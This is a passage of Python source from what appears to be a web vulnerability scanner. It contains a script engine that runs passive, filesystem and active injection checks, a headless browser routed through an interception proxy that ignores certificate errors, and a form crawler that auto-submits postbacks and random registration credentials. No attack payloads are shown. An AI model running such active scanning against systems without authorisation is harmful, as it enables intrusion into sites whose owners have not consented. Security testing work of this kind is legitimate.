None 22 | options = None 23 | log_level = logging.INFO 24 | writer = None 25 | 26 | def __init__(self, options=None, logger=logging.INFO, database=None): 27 | self.logger = self.logger = logging.getLogger("ScriptEngine") 28 | self.logger.setLevel(logger) 29 | ch = logging.StreamHandler(sys.stdout) 30 | ch.setLevel(logger) 31 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 32 | ch.setFormatter(formatter) 33 | if not self.logger.handlers: 34 | self.logger.addHandler(ch) 35 | self.logger.debug("Starting script parser") 36 | self.options = options 37 | self.log_level = logger 38 | self.parse_scripts() 39 | self.writer = database 40 | 41 | def parse_scripts(self): 42 | self.s = ScriptParser(logger=self.log_level) 43 | self.s.load_scripts() 44 | self.scripts_active = [] 45 | self.scripts_fs = [] 46 | self.scripts_passive = [] 47 | 48 | for script in self.s.scripts: 49 | matches = [] 50 | if self.options: 51 | if 'all' not in self.options: 52 | if self.options and 'options' in script: 53 | for sub in script['options']: 54 | if str(sub) not in self.options: 55 | self.logger.debug("Disabling script %s because %s is not enabled" % (script['name'], sub)) 56 | continue 57 | else: 58 | if 'options' in script and 'dangerous' in script['options']: 59 | self.logger.debug("Disabling script %s because dangerous flag is present, use --options all or add the dangerous flag to override" % (script['name'])) 60 | continue 61 | 62 | for x in script['matches']: 63 | mobj = MatchObject( 64 | mtype=x['type'], 65 | match=x['match'], 66 | location=x['location'], 67 | name=x['name'] if 'name' in x else script['name'], 68 | options=list(x['options']) 69 | ) 70 | matches.append(mobj) 71 | 72 | script_data = { 73 | "name": script['name'], 74 | "find": script['find'], 75 | "severity": script['severity'], 76 | "request": script['request'], 77 | "data": script['data'] if 'data' in script else {}, 78 | "matches": matches 79 | } 80 | if not script['request']: 81 | if script['run_at'] == "response": 82 | self.scripts_passive.append(script_data) 83 | if script['run_at'] == "fs": 84 | self.scripts_fs.append(script_data) 85 | 86 | if script['request']: 87 | self.scripts_active.append(script_data) 88 | 89 | def run_fs(self, base_url): 90 | links = [] 91 | if self.can_fs: 92 | for script in self.scripts_fs: 93 | if str(script['find']) == "once": 94 | if has_seen_before(script['name'], self.results): 95 | continue 96 | data = script['data'] 97 | new_req = CustomRequestBuilder( 98 | url=data['url'], 99 | data=data['data'] if 'data' in data else None, 100 | headers=data['headers'] if 'headers' in data else {}, 101 | options=data['options'] if 'options' in data else [], 102 | ) 103 | new_req.root_url = base_url 104 | result = new_req.run() 105 | if result: 106 | # is found so added to crawler 107 | if result.response.code == 200: 108 | links.append([urlparse.urljoin(base_url, new_req.url), new_req.data]) 109 | for match in script['matches']: 110 | mresult = match.run(result.response) 111 | if mresult: 112 | res = "%s [%s] > %s" % (script['name'], result.response.to_string(), mresult) 113 | self.logger.info("Discovered: %s" % res) 114 | if self.writer: 115 | severity = script['severity'] if 'severity' in script else 0 116 | text = json.dumps({"request": response_to_dict(result.response), "match": mresult}) 117 | self.writer.put(result_type="Basic Script - Filesystem", script=script['name'], severity=severity, text=text) 118 | self.results.append({"script": script['name'], "match": mresult, "data": response_to_dict(result.response)}) 119 | return links 120 | 121 | def run_scripts(self, request): 122 | for script in self.scripts_passive: 123 | for match in script['matches']: 124 | result = match.run(request.response) 125 | if result: 126 | res = "%s [%s] > %s" % (script['name'], request.response.to_string(), result) 127 | self.logger.info("Discovered: %s" % res) 128 | if self.writer: 129 | severity = script['severity'] if 'severity' in script else 0 130 | text = json.dumps({"request": response_to_dict(request.response), "match": result}) 131 | self.writer.put(result_type="Basic Script - Passive", script=script['name'], 132 | severity=severity, text=text, allow_only_once=str(script['find']) == "once") 133 | self.results.append( 134 | {"script": script['name'], "match": result, "data": response_to_dict(request.response)}) 135 | if self.can_exploit: 136 | for script in self.scripts_active: 137 | try: 138 | r = RequestBuilder( 139 | req=request, 140 | inject_type=script['request'], 141 | inject_value=script['data']['inject_value'], 142 | matchobject=script['matches'], 143 | name=script['name'] 144 | ) 145 | results = [] 146 | results = r.run() 147 | if results: 148 | for scan_result in results: 149 | if scan_result not in self.results: 150 | res = "[%s] URL %s > %s" % (script['name'], scan_result['request']['request']['url'], scan_result['match']) 151 | self.logger.info("Discovered: %s" % res) 152 | if self.writer: 153 | severity = script['severity'] if 'severity' in script else 0 154 | text = json.dumps(scan_result) 155 | self.writer.put(result_type="Basic Script - Active", script=script['name'], 156 | severity=severity, text=text) 157 | self.results.append(res) 158 | except Exception as e: 159 | self.logger.warning("Error running script %s: %s" % (script['name'], str(e))) 160 | 161 | 162 | class ScriptParser: 163 | directory = '../scripts' 164 | root_dir = '' 165 | script_dir = '' 166 | scripts = [] 167 | logger = None 168 | 169 | def __init__(self, newdir=None, logger=logging.INFO): 170 | self.root_dir = os.path.dirname(os.path.realpath(__file__)) 171 | self.script_dir = os.path.join(self.root_dir, self.directory) if not newdir else newdir 172 | self.logger = logging.getLogger("ScriptParser") 173 | self.logger.setLevel(logger) 174 | ch = logging.StreamHandler(sys.stdout) 175 | ch.setLevel(logger) 176 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 177 | ch.setFormatter(formatter) 178 | if not self.logger.handlers: 179 | self.logger.addHandler(ch) 180 | if not os.path.isdir(self.script_dir): 181 | self.logger.error("Cannot initialise script engine, directory '%s' does not exist" % self.script_dir) 182 | self.scripts = [] 183 | 184 | def load_scripts(self): 185 | self.logger.debug("Init script engine") 186 | for f in os.listdir(self.script_dir): 187 | script = os.path.join(self.script_dir, f) 188 | if os.path.isfile(script): 189 | try: 190 | with open(script, 'r') as scriptfile: 191 | data = scriptfile.read() 192 | jsondata = json.loads(data) 193 | self.scripts.append(jsondata) 194 | except ValueError: 195 | self.logger.error("Script %s appears to be invalid JSON, ignoring" % f) 196 | pass 197 | except IOError: 198 | self.logger.error("Unable to access script file %s, ignoring" % f) 199 | pass 200 | self.logger.info("Script Engine loaded %d scripts" % len(self.scripts)) 201 | -------------------------------------------------------------------------------- /ext/mefjus/ghost.py: -------------------------------------------------------------------------------- 1 | from selenium.common.exceptions import UnexpectedAlertPresentException 2 | from selenium.webdriver import Chrome, ChromeOptions 3 | import time 4 | import logging 5 | import sys 6 | import os 7 | import threading 8 | from ext.mefjus.proxy import RequestInterceptorPlugin, ResponseInterceptorPlugin, AsyncMitmProxy 9 | from filelock import FileLock 10 | 11 | 12 | class GhostDriverInterface: 13 | driver_path = "drivers\\chromedriver.exe" 14 | driver = None 15 | logger = None 16 | page_sleep = 2 17 | proxy_host = "127.0.0.1" 18 | proxy_port = 3333 19 | 20 | def __init__(self, custom_path=None, logger=None, show_browser=False, use_proxy=True, proxy_port=None): 21 | if custom_path: 22 | self.driver_path = custom_path 23 | if proxy_port: 24 | self.proxy_port = int(proxy_port) 25 | self.logger = logging.getLogger("WebDriver") 26 | self.logger.setLevel(logger) 27 | ch = logging.StreamHandler(sys.stdout) 28 | ch.setLevel(logger) 29 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 30 | ch.setFormatter(formatter) 31 | self.logger.addHandler(ch) 32 | self.logger.debug("Starting Web Driver") 33 | if not os.path.exists(self.driver_path): 34 | self.logger.warning("Error loading driver from path: %s the driver module will be disabled\nGet the latest one from http://chromedriver.chromium.org/downloads" % self.driver_path) 35 | return 36 | self.start(use_proxy=use_proxy, show_browser=show_browser) 37 | 38 | def start(self, use_proxy=True, show_browser=False): 39 | try: 40 | options = ChromeOptions() 41 | options.add_argument("ignore-certificate-errors") 42 | options.add_argument("--ignore-ssl-errors") 43 | if not show_browser: 44 | options.add_argument("--headless") 45 | if use_proxy: 46 | self.logger.info("Enabled proxy %s:%d" % (self.proxy_host, self.proxy_port)) 47 | options.add_argument("--proxy-server=http://" + "%s:%d" % (self.proxy_host, self.proxy_port)) 48 | 49 | self.driver = Chrome(executable_path=self.driver_path, chrome_options=options) 50 | except Exception as e: 51 | self.logger.error("Error creating WebDriver object: %s" % str(e)) 52 | 53 | def get(self, url): 54 | if not self.driver: 55 | return 56 | self.logger.debug("GET %s" % url) 57 | try: 58 | self.driver.get(url) 59 | except UnexpectedAlertPresentException: 60 | alert = self.driver.switch_to.alert 61 | alert.accept() 62 | self.logger.warning("Page %s threw an alert. disposing and requesting page again" % url) 63 | self.driver.get(url) 64 | except Exception as e: 65 | self.logger.error("Page %s threw an error: %s" % (url, str(e))) 66 | 67 | time.sleep(self.page_sleep) 68 | self.logger.debug("OK %s" % url) 69 | 70 | def close(self): 71 | self.logger.debug("Stopping Driver") 72 | if not self.driver: 73 | return 74 | self.driver.stop_client() 75 | self.driver.close() 76 | time.sleep(1) 77 | 78 | 79 | class HTTPParser: 80 | 81 | @staticmethod 82 | def parse(request): 83 | request = request.strip() 84 | data = request.split('\r\n') 85 | method, path, _ = data[0].split() 86 | postdata = None 87 | if method == "POST" and data[len(data)-2] == "": 88 | postdata = data[len(data)-1] 89 | data = data[:-2] 90 | return method, data[1:], path, postdata 91 | 92 | @staticmethod 93 | def extract_host(headers): 94 | for row in headers: 95 | if ":" in row: 96 | pairs = row.split(':') 97 | if len(pairs) > 2: 98 | continue 99 | key, value = pairs[0], pairs[1] 100 | key = key.strip() 101 | value = value.strip() 102 | if key.lower() == "host": 103 | return value 104 | return "" 105 | 106 | @staticmethod 107 | def string_to_urltree(input, use_https=False): 108 | tree = [] 109 | if input and len(input): 110 | for row in input.strip().split('\n'): 111 | try: 112 | method, host, url, data = row.split('\t') 113 | url = "http%s://%s%s" % ("s" if use_https else "", host, url) 114 | if method == "POST" and data != "0": 115 | tree.append([url, HTTPParser.params_from_str(data)]) 116 | else: 117 | tree.append([url, None]) 118 | except Exception as e: 119 | pass 120 | return tree 121 | 122 | @staticmethod 123 | def params_from_str(string): 124 | out = {} 125 | if "&" in string: 126 | for param in string.split('&'): 127 | if "=" in param: 128 | sub = param.split('=') 129 | key = sub[0] 130 | value = sub[1] 131 | out[key] = value 132 | else: 133 | out[key] = "" 134 | else: 135 | if "=" in string: 136 | sub = string.split('=') 137 | key = sub[0] 138 | value = sub[1] 139 | out[key] = value 140 | else: 141 | out[string] = "" 142 | return out 143 | 144 | 145 | class DebugInterceptor(RequestInterceptorPlugin, ResponseInterceptorPlugin): 146 | proxy_log = "output.txt" 147 | proxy_log_lock = "output.txt.lock" 148 | 149 | def do_request(self, data): 150 | method, headers, path, postdata = HTTPParser.parse(data) 151 | host = HTTPParser.extract_host(headers) 152 | lock = FileLock(self.proxy_log_lock, timeout=5) 153 | with lock: 154 | lock.acquire() 155 | with open(self.proxy_log, 'a') as f: 156 | f.write("%s\t%s\t%s\t%s\n" % (method, host, path, postdata if postdata else "0")) 157 | lock.release() 158 | return data 159 | 160 | def do_response(self, data): 161 | return data 162 | 163 | 164 | class CustomProxy: 165 | proxyThread = None 166 | proxy_host = '127.0.0.1' 167 | proxy_port = 3333 168 | logger = logging.getLogger("Proxy") 169 | proxy = None 170 | ca_file = "" 171 | ca_dir = "" 172 | proxy_log = "output.txt" 173 | 174 | def __init__(self, custom_path=None, cert=None, logger=logging.INFO, proxy_port=None): 175 | self.logger.setLevel(logger) 176 | ch = logging.StreamHandler(sys.stdout) 177 | ch.setLevel(logger) 178 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 179 | ch.setFormatter(formatter) 180 | if proxy_port: 181 | self.proxy_port = int(proxy_port) 182 | if not self.logger.handlers: 183 | self.logger.addHandler(ch) 184 | self.logger.debug("Loaded Proxy") 185 | if custom_path: 186 | self.ca_dir = custom_path 187 | if cert: 188 | self.ca_file = cert 189 | self.logger.debug("Cleaning proxy log: %s" % self.proxy_log) 190 | with open(self.proxy_log, 'w') as f: 191 | f.write("") 192 | 193 | def start(self): 194 | self.proxyThread = threading.Thread(target=self.subroutine) 195 | self.logger.debug("Starting Proxy") 196 | self.proxyThread.start() 197 | time.sleep(1) 198 | 199 | def subroutine(self): 200 | if self.ca_file: 201 | self.proxy = AsyncMitmProxy(ca_file=os.path.join(self.ca_dir, self.ca_file), server_address=(self.proxy_host, self.proxy_port)) 202 | else: 203 | self.proxy = AsyncMitmProxy() 204 | self.proxy.register_interceptor(DebugInterceptor) 205 | try: 206 | self.proxy.serve_forever() 207 | except: 208 | return 209 | 210 | 211 | class Mefjus: 212 | seen = [] 213 | ca_dir = "certs" 214 | ca_file = "mefjus.pem" 215 | proxy = None 216 | driver = None 217 | show_browser = None 218 | 219 | def __init__(self, logger=logging.INFO, driver_path=None, proxy_port=3333, use_proxy=True, use_https=True, show_driver=False): 220 | if use_proxy: 221 | self.proxy = CustomProxy(logger=logger, proxy_port=proxy_port) 222 | self.driver = GhostDriverInterface(logger=logger, custom_path=driver_path, proxy_port=proxy_port, use_proxy=use_proxy, show_browser=show_driver) 223 | self.use_https = use_https 224 | 225 | def close(self): 226 | if self.driver: 227 | self.driver.close() 228 | time.sleep(1) 229 | if self.proxy: 230 | self.proxy.proxy.server_close() 231 | 232 | def run(self, urls, interactive=False): 233 | if self.proxy: 234 | self.proxy.ca_dir = self.ca_dir 235 | if not os.path.exists(self.proxy.ca_dir): 236 | os.mkdir(self.proxy.ca_dir) 237 | self.proxy.ca_file = self.ca_file 238 | self.proxy.start() 239 | for url in urls: 240 | if type(url) is list: 241 | url = url[0] 242 | if url not in self.seen: 243 | self.seen.append(url) 244 | self.driver.get(url) 245 | if interactive: 246 | print("Interactive mode enabled, the browser will continue to function and log proxy-request.") 247 | print("Press any key to continue") 248 | try: 249 | x = input() 250 | except: 251 | pass 252 | self.close() 253 | return self.read_output() 254 | 255 | def read_output(self): 256 | with open('output.txt') as f: 257 | tree = HTTPParser.string_to_urltree(f.read(), use_https=self.use_https) 258 | return tree 259 | -------------------------------------------------------------------------------- /core/postback_crawler.py: -------------------------------------------------------------------------------- 1 | import re 2 | import requests 3 | from core.utils import aspx_strip_internal, params_from_str 4 | import json 5 | import random 6 | import string 7 | import hashlib 8 | import logging 9 | from bs4 import BeautifulSoup 10 | try: 11 | import urlparse 12 | except ImportError: 13 | import urllib.parse as urlparse 14 | 15 | # WIP and very unstable 16 | 17 | 18 | class Event: 19 | url = "" 20 | state_url = "" 21 | inputs = {} 22 | actions = [] 23 | session = None 24 | random_text_size = 8 25 | user_email = None 26 | user_password = None 27 | 28 | def __init__(self, session): 29 | self.session = session 30 | if not self.session: 31 | self.session = requests.session() 32 | 33 | def run_actions(self): 34 | results = [] 35 | for a in self.actions: 36 | result = self.run_action(a) 37 | if result: 38 | results.append([a, result]) 39 | return results 40 | 41 | def run_action(self, action): 42 | tmp = dict(self.inputs) 43 | target, argument = action 44 | internal = aspx_strip_internal(tmp) 45 | tmp['__EVENTTARGET'] = target 46 | tmp['__EVENTARGUMENT'] = argument 47 | print("Submitting action %s:%s" % (target, argument)) 48 | try: 49 | print("[POST] %s %s" % (self.url, json.dumps(internal))) 50 | result = self.session.post(self.url, tmp) 51 | if result: 52 | print("[%d] %s len:%d type:%s" % (result.status_code, result.url, len(result.text), result.headers['content-type'] if 'content-type' in result.headers else 'Unknown')) 53 | return result 54 | return None 55 | except requests.Timeout: 56 | print("POST %s resulted in timeout" % self.url) 57 | except Exception as e: 58 | print("POST %s caused an exception: %s" % (self.url, str(e))) 59 | return False 60 | 61 | def generate_random(self, input_type, name): 62 | name = name.lower() 63 | # in some cases this allows the crawler to successfully register + login 64 | if not input_type: 65 | return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(self.random_text_size)) 66 | if input_type == "email" or "mail" in name: 67 | if not self.user_email: 68 | self.user_email = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(self.random_text_size)) + '@' + ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(self.random_text_size)) + '.com' 69 | return self.user_email 70 | if input_type == "password" or "password" in name: 71 | if not self.user_password: 72 | self.user_password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(self.random_text_size)) 73 | return self.user_password 74 | 75 | if input_type in ['number', 'integer', 'decimal']: 76 | return 1 77 | return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(self.random_text_size)) 78 | 79 | 80 | # class with some static methods 81 | class FormDataToolkit: 82 | def __init__(self): 83 | pass 84 | 85 | @staticmethod 86 | def get_checksum(data): 87 | keys = [] 88 | for x in data: 89 | keys.append(x) 90 | return hashlib.md5(''.join(keys).encode('utf-8')).hexdigest() 91 | 92 | @staticmethod 93 | def get_full_checksum(data): 94 | keys = [] 95 | for x in data: 96 | keys.append("{0}={1}".format(x, data[x])) 97 | return hashlib.md5('&'.join(keys).encode('utf-8')).hexdigest() 98 | 99 | 100 | class Crawler: 101 | form_re = re.compile(r'(?s)(<form.+?</form>)', re.IGNORECASE) 102 | form_action_re = re.compile(r'<form.+?action=[\'"](.*?)[\'"]', re.IGNORECASE) 103 | hidden_re = re.compile(r'<input(.+?)(?:/)?>', re.IGNORECASE) 104 | name_re = re.compile(r'name=[\'"](.+?)[\'"]', re.IGNORECASE) 105 | type_re = re.compile(r'type=[\'"](.+?)[\'"]', re.IGNORECASE) 106 | value_re = re.compile(r'value=[\'"](.+?)[\'"]', re.IGNORECASE) 107 | other_types = [ 108 | re.compile(r'(?s)<(select).+?name=[\'"](.+?)[\'"].+?value=[\'"](.*?)[\'"]', re.IGNORECASE), 109 | re.compile(r'(?s)<(textarea).+?name=[\'"](.+?)[\'"].+?>(.*?)</textarea>', re.IGNORECASE) 110 | ] 111 | postback_re = re.compile(r'__doPostBack\(.*?[\'"](.+?)[\'"\\]\s*,\s*[\'"](.*?)[\'"\\]', re.IGNORECASE) 112 | page_re = [ 113 | re.compile(r'window\.location\s*=\s*[\'"](.+?)[\'"]'), 114 | re.compile(r'document\.location\s*=\s*[\'"](.+?)[\'"]'), 115 | re.compile(r'document\.location\.href\s*=\s*[\'"](.+?)[\'"]'), 116 | re.compile(r'window\.location\.replace\([\'"](.+?)[\'"]'), 117 | re.compile(r'http-equiv="refresh.+?URL=[\'"](.+?)[\'"]') 118 | ] 119 | todo = [] 120 | seen = [] 121 | logger = logging.getLogger("State Crawler") 122 | max_allowed_checksum = 5 123 | 124 | max_urls = 200 125 | max_url_unique_keys = 1 126 | url_variations = [] 127 | ignored = [] 128 | 129 | max_postdata_per_url = 10 130 | max_postdata_unique_keys = 5 131 | blocked_filetypes = ['.jpg', '.png', '.gif', '.wav', '.mp3', '.mp4', '.3gp', '.js', '.css', 'jpeg', '.pdf', '.ico'] 132 | scope = None 133 | 134 | def __init__(self): 135 | self.session = requests.session() 136 | 137 | def run(self, url): 138 | html = self.session.get(url) 139 | x = self.get_inputs(url, html.text) 140 | for event in x: 141 | self.todo.append(event) 142 | 143 | while len(self.todo): 144 | entry = self.todo.pop(0) 145 | self.seen.append(entry) 146 | results = entry.run_actions() 147 | for result in results: 148 | result_event, result = result 149 | x = self.get_inputs(result.url, result.text) 150 | for event in x: 151 | if not self.has_seen_action(event.url, event.inputs): 152 | self.todo.append(event) 153 | 154 | def get_filetype(self, url): 155 | url = url.split('?')[0] 156 | loc = urlparse.urlparse(url).path.split('.') 157 | if len(loc) is 1: 158 | return None 159 | return ".{0}".format(loc[len(loc)-1].lower()) 160 | 161 | def parse_url(self, url, rooturl): 162 | url = url.split('#')[0] 163 | url = url.strip() 164 | if url in self.ignored: 165 | return 166 | if self.get_filetype(url) in self.blocked_filetypes: 167 | self.ignored.append(url) 168 | self.logger.debug("Url %s will be ignored because file type is not allowed" % url) 169 | return 170 | if "?" in url: 171 | params = params_from_str(url.split('?')[1]) 172 | checksum = FormDataToolkit.get_checksum(params) 173 | if [url, checksum] in self.url_variations: 174 | var_num = 0 175 | for part in self.url_variations: 176 | if part == [url, checksum]: 177 | var_num += 1 178 | if var_num >= self.max_url_unique_keys: 179 | self.ignored.append(url) 180 | self.logger.debug("Url %s will be ignored because key variation limit is exceeded" % url) 181 | return 182 | self.url_variations.append([url, checksum]) 183 | 184 | # if local link or link on same site root 185 | if url.startswith('/') or url.startswith(self.root_url): 186 | url = urlparse.urljoin(rooturl, url) 187 | if [url, None] not in self.scraped_pages: 188 | self.to_crawl.put([url, None]) 189 | # javascript, raw data, mailto etc.. 190 | if not url.startswith('javascript:') or url.startswith('data:') or url.startswith('mailto:'): 191 | url = urlparse.urljoin(rooturl, url) 192 | if not self.scope.in_scope(url): 193 | self.ignored.append(url) 194 | self.logger.debug("Url %s will be ignored because out of scope" % url) 195 | return 196 | if [url, None] not in self.scraped_pages: 197 | self.to_crawl.put([url, None]) 198 | 199 | def parse_links(self, html, rooturl): 200 | try: 201 | soup = BeautifulSoup(html, 'html.parser') 202 | links = soup.find_all('a', href=True) 203 | for link in links: 204 | if (len(self.todo) + len(self.seen)) > self.max_urls: 205 | continue 206 | url = link['href'] 207 | self.parse_url(url, rooturl) 208 | for regex in self.page_re: 209 | results = regex.findall(html) 210 | for res in results: 211 | self.parse_url(res, rooturl) 212 | 213 | except Exception as e: 214 | self.logger.warning("Parse error on %s -> %s" % (rooturl, str(e))) 215 | 216 | def has_seen_action(self, url, data): 217 | for handler in self.seen: 218 | if handler.url == url: 219 | checksum = FormDataToolkit.get_checksum(data) 220 | handler_checksum = FormDataToolkit.get_checksum(handler.inputs) 221 | if checksum == handler_checksum: 222 | return True 223 | for handler in self.todo: 224 | if handler.url == url: 225 | checksum = FormDataToolkit.get_checksum(data) 226 | handler_checksum = FormDataToolkit.get_checksum(handler.inputs) 227 | if checksum == handler_checksum: 228 | return True 229 | return False 230 | 231 | def get_inputs(self, url, html): 232 | data = [] 233 | html = html.replace(''', "'") 234 | html = html.replace('&', "&") 235 | for form in self.form_re.findall(html): 236 | post_url = url 237 | get_action = self.form_action_re.search(form) 238 | if get_action: 239 | post_url = urlparse.urljoin(url, get_action.group(1)) 240 | handler = Event(self.session) 241 | handler.url = post_url 242 | handler.state_url = url 243 | for inp in self.hidden_re.findall(form): 244 | name = self.name_re.search(inp) 245 | if not name: 246 | continue 247 | name = name.group(1) 248 | input_type = self.type_re.search(inp) 249 | if not input_type: 250 | continue 251 | input_type = input_type.group(1) 252 | value = self.value_re.search(inp) 253 | value = value.group(1) if value else handler.generate_random(input_type, name) 254 | handler.inputs[name] = value 255 | for match in self.other_types: 256 | results = match.findall(form) 257 | for entry in results: 258 | handler.inputs[entry[1]] = entry[2] 259 | for postback in self.postback_re.findall(form): 260 | if postback not in handler.actions: 261 | handler.actions.append(postback) 262 | data.append(handler) 263 | return data 264 | --------------------------------------------------------------------------------